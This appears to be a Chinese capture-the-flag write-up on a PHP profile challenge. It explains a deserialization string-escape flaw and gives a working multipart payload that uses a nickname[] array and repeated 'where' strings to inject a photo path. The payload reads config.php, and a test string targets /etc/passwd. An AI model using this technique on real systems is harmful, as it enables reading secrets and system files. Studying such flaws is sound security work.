只有一个输入框:
经过测试发现对username有长度限制,过长就invalid user。最终测出来反正和sql注入没有关系。 扫描了一下,没扫出来啥东西,不知道咋回事。但是其实是一个常见的备份目录www.zip。 下面先分析一下没有sql注入的原因: 首先是看看username和password是否存在,长度是否合适:
if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if($user->login($username, $password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } }
接着我们看看login函数如下。其首先对username和password进行了过滤filter,随后查找是否有这个username,如果有的话,先取出来该项,再进行后续的md5密码验证。因此username这里是可以写入一个' or 1=1 %23的,但是似乎没啥用。
public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; //组成正则表达式 $string = preg_replace($escape, '_', $string); //转义 $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string);
发现有注册功能,注册完之后,可以设置一些信息,属于update.php:
profile.php内容如下,可以看到photo那儿有一个file_get_contents函数可以读入文件。
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>
经过分析,本题漏洞的核心在于序列化之后还对序列化字符串进行了修改。 首先在updata.php中有如下代码,意思是可以接受我们post传入的参数,序列化后,通过update_profile进行过滤操作。而过滤操作这里,会将序列化好的字符串进行修改,比如将select insert等字符串修改成hack。
require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
下面测试一下profile的序列化,结果如下。我们发现nickname在photo的前面,因此我们如果能将nickname对应的值进行修改,就能构造一个s:n:"xxx"出来,从而直接访问。
<?php $profile['phone'] = '11'; $profile['email'] ='22'; $profile['nickname'] = '33'; $profile['photo'] ='44'; echo serialize($profile); // 结果:a:4:{s:5:"phone";s:2:"11";s:5:"email";s:2:"22";s:8:"nickname";s:2:"33";s:5:"photo";s:2:"44";}
知识点:这里的nickname是可以绕过的,用一个nickname[]就能轻松绕过。
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
整理一下流程:我们只需要传入参数,到nickname时,用数组来绕过,并且加入多个where,这时候序列化后的nickname会很长,其对应的长度也很长,然而我们的where会被过滤替换成hacker,这时候5个字符变成了6个字符。通过这种方式就可以将后面的字符逃逸出来,单独成为一个键值对。
PHP反序列化中读取字符的多少,是由表示长度的数字控制的,而且如果整个字符串的前一部分成功反序列化,字符串后面剩下的那些就会被丢弃。 因此不需要考虑最开头的a:n
$tt = 'a:4:{s:5:"phone";s:2:"11";s:5:"email";s:2:"22";s:8:"nickname";s:3:"222";s:5:"photo";s:11:"/etc/passwd";}s:5:"photo";s:11:"/etc/passw3";}'; var_dump(unserialize($tt)); ///array(4) { ["phone"]=> string(2) "11" ["email"]=> string(2) "22" ["nickname"]=> string(3) "222" ["photo"]=> string(11) "/etc/passwd" }
最后payload:
Content-Disposition: form-data; name="nickname[]" wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
flag在config.php里,以后如果是能获得备份文件,来代码审计的,可以考虑先搜索flag字符串。
总结:在序列化后又对序列化的字符串进行操作,很容易造成反序列化字符串逃逸,形成新的键值对。